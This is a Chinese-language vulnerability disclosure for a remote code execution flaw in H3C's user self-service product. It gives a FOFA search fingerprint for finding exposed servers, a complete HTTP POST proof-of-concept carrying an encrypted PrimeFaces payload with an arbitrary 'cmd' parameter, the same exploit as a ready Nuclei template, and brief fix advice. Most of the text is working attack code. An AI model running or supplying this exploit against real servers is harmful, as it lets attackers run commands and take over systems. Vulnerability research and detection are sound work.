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Ⅰ、漏洞描述

华三用户自助服务产品存在远程代码执行,恶意攻击者可利用此漏洞执行恶意命令，从而获取服务器敏感信息或者服务器权限。

Ⅱ、fofa语句

fid="tPmVs5PL6e9m5Xt0J4V2+A=="

Ⅲ、漏洞复现

POC

POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 127.0.0.1
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
Content-Length: 1573
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo Hello World!

1、构造数据包，执行命令

Ⅳ、Nuclei-POC

id: H3C-RCE

info:
  name: 华三用户自助服务产品存在远程代码执行,恶意攻击者可利用此漏洞执行恶意命令，从而获取服务器敏感信息或者服务器权限。
  author: WLF
  severity: high
  metadata: 
    fofa-query: fid="tPmVs5PL6e9m5Xt0J4V2+A=="
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
        User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
        Content-Length: 1573
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=echo Hello World!


    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"Hello World!")

Ⅴ、修复建议

1、请联系厂商进行修复或升级到安全版本。

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。